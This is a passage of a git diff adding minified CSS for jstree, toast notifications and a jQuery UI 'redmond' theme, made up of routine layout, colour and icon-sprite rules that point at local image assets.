-32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 -32px}.jstree-default-large .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-large>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/hot-sneaks/images/throbber.gif) center center no-repeat}.jstree-default-large .jstree-file{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -96px -64px no-repeat}.jstree-default-large .jstree-folder{background:url(assets/jqueryui/hot-sneaks/images/32px.png) -256px 0 no-repeat}.jstree-default-large>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-large{line-height:32px;padding:0 4px}#jstree-dnd.jstree-default-large .jstree-ok,#jstree-dnd.jstree-default-large .jstree-er{background-image:url(assets/jqueryui/hot-sneaks/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-large i{background:transparent;width:32px;height:32px;line-height:32px}#jstree-dnd.jstree-default-large .jstree-ok{background-position:0 -64px}#jstree-dnd.jstree-default-large .jstree-er{background-position:-32px -64px}.jstree-default-large .jstree-ellipsis{overflow:hidden}.jstree-default-large .jstree-ellipsis .jstree-anchor{width:calc(100% - 37px);text-overflow:ellipsis;overflow:hidden}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAACAQMAAAAD0EyKAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjgIIGBgABCgCBvVLXcAAAAABJRU5ErkJggg==)}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}@media (max-width:768px){#jstree-dnd.jstree-dnd-responsive{line-height:40px;font-weight:700;font-size:1.1em;text-shadow:1px 1px white}#jstree-dnd.jstree-dnd-responsive>i{background:transparent;width:40px;height:40px}#jstree-dnd.jstree-dnd-responsive>.jstree-ok{background-image:url(assets/jqueryui/hot-sneaks/images/40px.png);background-position:0 -200px;background-size:120px 240px}#jstree-dnd.jstree-dnd-responsive>.jstree-er{background-image:url(assets/jqueryui/hot-sneaks/images/40px.png);background-position:-40px -200px;background-size:120px 240px}#jstree-marker.jstree-dnd-responsive{border-left-width:10px;border-top-width:10px;border-bottom-width:10px;margin-top:-10px}}@media (max-width:768px){.jstree-default-responsive{}.jstree-default-responsive .jstree-icon{background-image:url(assets/jqueryui/hot-sneaks/images/40px.png)}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-node{min-height:40px;line-height:40px;margin-left:40px;min-width:40px;white-space:nowrap}.jstree-default-responsive .jstree-anchor{line-height:40px;height:40px}.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-icon:empty{width:40px;height:40px;line-height:40px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0}.jstree-default-responsive.jstree-rtl .jstree-node{margin-left:0;margin-right:40px;background:transparent}.jstree-default-responsive.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-default-responsive .jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-size:120px 240px}.jstree-default-responsive .jstree-leaf>.jstree-ocl,.jstree-default-responsive.jstree-rtl .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-open>.jstree-ocl{background-position:0 0!important}.jstree-default-responsive .jstree-closed>.jstree-ocl{background-position:0 -40px!important}.jstree-default-responsive.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-40px 0!important}.jstree-default-responsive .jstree-themeicon{background-position:-40px -40px}.jstree-default-responsive .jstree-checkbox,.jstree-default-responsive .jstree-checkbox:hover{background-position:-40px -80px}.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-responsive .jstree-checked>.jstree-checkbox,.jstree-default-responsive .jstree-checked>.jstree-checkbox:hover{background-position:0 -80px}.jstree-default-responsive .jstree-anchor>.jstree-undetermined,.jstree-default-responsive .jstree-anchor>.jstree-undetermined:hover{background-position:0 -120px}.jstree-default-responsive .jstree-anchor{font-weight:700;font-size:1.1em;text-shadow:1px 1px white}.jstree-default-responsive>.jstree-striped{background:transparent}.jstree-default-responsive .jstree-wholerow{border-top:1px solid rgba(255,255,255,.7);border-bottom:1px solid rgba(64,64,64,.2);background:#ebebeb;height:40px}.jstree-default-responsive .jstree-wholerow-hovered{background:#e7f4f9}.jstree-default-responsive .jstree-wholerow-clicked{background:#beebff}.jstree-default-responsive .jstree-children .jstree-last>.jstree-wholerow{box-shadow:inset 0 -6px 3px -5px #666}.jstree-default-responsive .jstree-children .jstree-open>.jstree-wholerow{box-shadow:inset 0 6px 3px -5px #666;border-top:0}.jstree-default-responsive .jstree-children .jstree-open + .jstree-open{box-shadow:none}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-node>.jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-image:url(assets/jqueryui/hot-sneaks/images/40px.png);background-size:120px 240px}.jstree-default-responsive .jstree-node{background-position:-80px 0;background-repeat:repeat-y}.jstree-default-responsive .jstree-last{background:transparent}.jstree-default-responsive .jstree-leaf>.jstree-ocl{background-position:-40px -120px}.jstree-default-responsive .jstree-last>.jstree-ocl{background-position:-40px -160px}.jstree-default-responsive .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-responsive .jstree-file{background:url(assets/jqueryui/hot-sneaks/images/40px.png) 0 -160px no-repeat;background-size:120px 240px}.jstree-default-responsive .jstree-folder{background:url(assets/jqueryui/hot-sneaks/images/40px.png) -40px -40px no-repeat;background-size:120px 240px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}}.toast-container{width:280px;z-index:9999}* html .toast-container{position:absolute}.toast-item{height:auto;background:#35414f url(assets/jqueryui/hot-sneaks/images/ui-bg_dots-small_35_35414f_2x2.png) 50% 50% repeat;opacity:1;-webkit-border-radius:10px;color:#e1e463;padding-top:20px;padding-bottom:20px;padding-left:6px;padding-right:6px;font-family:Gill Sans,Arial,sans-serif;font-size:14px;font-weight:700;border:2px solid #2c4359;display:block;position:relative;margin:0 0 12px 0}.toast-item p{text-align:left;margin-left:50px}.toast-item-close{background:url(assets/jqueryui/hot-sneaks/images/close.gif);width:22px;height:22px;position:absolute;top:7px;right:7px}.toast-item-image{width:32px;height:32px;position:absolute;top:50%;margin-top:-16px;left:10px}.toast-item-image-notice{background:url(assets/jqueryui/hot-sneaks/images/notice.png)}.toast-item-image-success{background:url(assets/jqueryui/hot-sneaks/images/success.png)}.toast-item-image-warning{background:url(assets/jqueryui/hot-sneaks/images/warning.png)}.toast-item-image-error{background:url(assets/jqueryui/hot-sneaks/images/error.png)}.toast-type-notice{color:#e1e463}.toast-type-success{color:#e1e463}.toast-type-warning{color:#363636;background:#ffff38 url(assets/jqueryui/hot-sneaks/images/ui-bg_dots-medium_80_ffff38_4x4.png) 50% 50% repeat;border-color:#b4d100}.toast-type-error{color:#fff;background:#ff3853 url(assets/jqueryui/hot-sneaks/images/ui-bg_diagonals-small_50_ff3853_40x40.png) 50% 50% repeat;border-color:#ff6b7f}.toast-type-warning .toast-item-close{display:none}.toast-position-top-left{position:fixed;left:6%;top:15px}.toast-position-top-center{position:fixed;top:15px;left:50%;margin-left:-140px}.toast-position-top-right{position:fixed;top:15px;right:6%}.toast-position-middle-left{position:fixed;left:6%;top:50%;margin-top:-40px}.toast-position-middle-center{position:fixed;left:50%;margin-left:-140px;margin-top:-40px;top:50%}.toast-position-middle-right{position:fixed;right:6%;margin-left:-140px;margin-top:-40px;top:50%} \ No newline at end of file diff --git a/assets/jqueryui/redmond/jquery-ui.min.css b/assets/jqueryui/redmond/jquery-ui.min.css new file mode 100644 index 0000000..cb3fa12 --- /dev/null +++ b/assets/jqueryui/redmond/jquery-ui.min.css @@ -0,0 +1 @@ +.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer;list-style-image:url(assets/jqueryui/redmond/images/list-style.gif)}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup>.ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup>.ui-controlgroup-item:focus,.ui-controlgroup>.ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical>.ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:75%;width:calc(100% - 2.4em)}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{-webkit-box-shadow:inset 1px 1px 1px #ccc;-webkit-border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;-webkit-border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:700;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{right:0;bottom:0}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden;border:1px solid #c5dbec}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%;border:1px solid #c5dbec}.ui-progressbar .ui-progressbar-overlay{background:url(assets/jqueryui/redmond/images/pb.gif);height:100%;filter:alpha(opacity=25);opacity:.25;border:1px solid #c5dbec}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none;border:1px solid #c5dbec}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted #000}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:700;line-height:1.5;padding:2px .4em;margin:.5em 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:.222em 0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;#padding:.2em .2em 0 -webkit-border-bottom-left-radius:0px;-webkit-border-bottom-right-radius:0;-webkit-border-top-left-radius:0;-webkit-border-top-right-radius:0;padding:0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:default}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:1.1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:1em}.ui-widget.ui-widget-content{border:1px solid #c5dbec}.ui-widget-content{border:1px solid #a6c9e2;background:#fcfdfd url(assets/jqueryui/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png) 50% bottom repeat-x;color:#222}.ui-widget-content a{color:#222}.ui-widget-header{border:1px solid #4297d7;background:#5c9ccc url(assets/jqueryui/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png) 50% 50% repeat-x;color:#fff;font-weight:700}.ui-widget-header a{color:#fff}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #c5dbec;background:#dfeffc url(assets/jqueryui/redmond/images/ui-bg_glass_85_dfeffc_1x400.png) 50% 50% repeat-x;font-weight:700;color:#2e6e9e}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#2e6e9e;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #79b7e7;background:#d0e5f5 url(assets/jqueryui/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png) 50% 50% repeat-x;font-weight:700;color:#1d5987}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#1d5987;text-decoration:none}.ui-visual-focus{-webkit-box-shadow:0 0 3px 1px #5e9ed6}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid #79b7e7;background:#f5f8f9 url(assets/jqueryui/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png) 50% 50% repeat-x;font-weight:700;color:#e17009}.ui-icon-background,.ui-state-active .ui-icon-background{border:#79b7e7;background-color:#e17009}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#e17009;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #fad42e;background:#fbec88;color:#363636}.ui-state-checked{border:1px solid #fad42e;background:#fbec88}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#363636}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #cd0a0a;background:#fef1ec url(assets/jqueryui/redmond/images/ui-bg_glass_95_fef1ec_1x400.png) 50% 50% repeat-x;color:#cd0a0a}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#cd0a0a}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#cd0a0a}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:700}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:400}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_469bdd_256x240.png)}.ui-widget-header .ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_d8e7f3_256x240.png)}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon,.ui-button:hover .ui-icon,.ui-button:focus .ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_217bc0_256x240.png)}.ui-state-active .ui-icon,.ui-button:active .ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_f9bd01_256x240.png)}.ui-state-highlight .ui-icon,.ui-button .ui-state-highlight.ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_2e83ff_256x240.png)}.ui-state-error .ui-icon,.ui-state-error-text .ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_cd0a0a_256x240.png)}.ui-button .ui-icon{background-image:url(assets/jqueryui/redmond/images/ui-icons_6da8d5_256x240.png)}.ui-icon-blank{background-position:16px 16px!important}.ui-icon-caret-1-n{background-position:0 0}.ui-icon-caret-1-ne{background-position:-16px 0}.ui-icon-caret-1-e{background-position:-32px 0}.ui-icon-caret-1-se{background-position:-48px 0}.ui-icon-caret-1-s{background-position:-65px 0}.ui-icon-caret-1-sw{background-position:-80px 0}.ui-icon-caret-1-w{background-position:-96px 0}.ui-icon-caret-1-nw{background-position:-112px 0}.ui-icon-caret-2-n-s{background-position:-128px 0}.ui-icon-caret-2-e-w{background-position:-144px 0}.ui-icon-triangle-1-n{background-position:0 -16px}.ui-icon-triangle-1-ne{background-position:-16px -16px}.ui-icon-triangle-1-e{background-position:-32px -16px}.ui-icon-triangle-1-se{background-position:-48px -16px}.ui-icon-triangle-1-s{background-position:-65px -16px}.ui-icon-triangle-1-sw{background-position:-80px -16px}.ui-icon-triangle-1-w{background-position:-96px -16px}.ui-icon-triangle-1-nw{background-position:-112px -16px}.ui-icon-triangle-2-n-s{background-position:-128px -16px}.ui-icon-triangle-2-e-w{background-position:-144px -16px}.ui-icon-arrow-1-n{background-position:0 -32px}.ui-icon-arrow-1-ne{background-position:-16px -32px}.ui-icon-arrow-1-e{background-position:-32px -32px}.ui-icon-arrow-1-se{background-position:-48px -32px}.ui-icon-arrow-1-s{background-position:-65px -32px}.ui-icon-arrow-1-sw{background-position:-80px -32px}.ui-icon-arrow-1-w{background-position:-96px -32px}.ui-icon-arrow-1-nw{background-position:-112px -32px}.ui-icon-arrow-2-n-s{background-position:-128px -32px}.ui-icon-arrow-2-ne-sw{background-position:-144px -32px}.ui-icon-arrow-2-e-w{background-position:-160px -32px}.ui-icon-arrow-2-se-nw{background-position:-176px -32px}.ui-icon-arrowstop-1-n{background-position:-192px -32px}.ui-icon-arrowstop-1-e{background-position:-208px -32px}.ui-icon-arrowstop-1-s{background-position:-224px -32px}.ui-icon-arrowstop-1-w{background-position:-240px -32px}.ui-icon-arrowthick-1-n{background-position:1px -48px}.ui-icon-arrowthick-1-ne{background-position:-16px -48px}.ui-icon-arrowthick-1-e{background-position:-32px -48px}.ui-icon-arrowthick-1-se{background-position:-48px -48px}.ui-icon-arrowthick-1-s{background-position:-64px -48px}.ui-icon-arrowthick-1-sw{background-position:-80px -48px}.ui-icon-arrowthick-1-w{background-position:-96px -48px}.ui-icon-arrowthick-1-nw{background-position:-112px -48px}.ui-icon-arrowthick-2-n-s{background-position:-128px -48px}.ui-icon-arrowthick-2-ne-sw{background-position:-144px -48px}.ui-icon-arrowthick-2-e-w{background-position:-160px -48px}.ui-icon-arrowthick-2-se-nw{background-position:-176px -48px}.ui-icon-arrowthickstop-1-n{background-position:-192px -48px}.ui-icon-arrowthickstop-1-e{background-position:-208px -48px}.ui-icon-arrowthickstop-1-s{background-position:-224px -48px}.ui-icon-arrowthickstop-1-w{background-position:-240px -48px}.ui-icon-arrowreturnthick-1-w{background-position:0 -64px}.ui-icon-arrowreturnthick-1-n{background-position:-16px -64px}.ui-icon-arrowreturnthick-1-e{background-position:-32px -64px}.ui-icon-arrowreturnthick-1-s{background-position:-48px -64px}.ui-icon-arrowreturn-1-w{background-position:-64px -64px}.ui-icon-arrowreturn-1-n{background-position:-80px -64px}.ui-icon-arrowreturn-1-e{background-position:-96px -64px}.ui-icon-arrowreturn-1-s{background-position:-112px -64px}.ui-icon-arrowrefresh-1-w{background-position:-128px 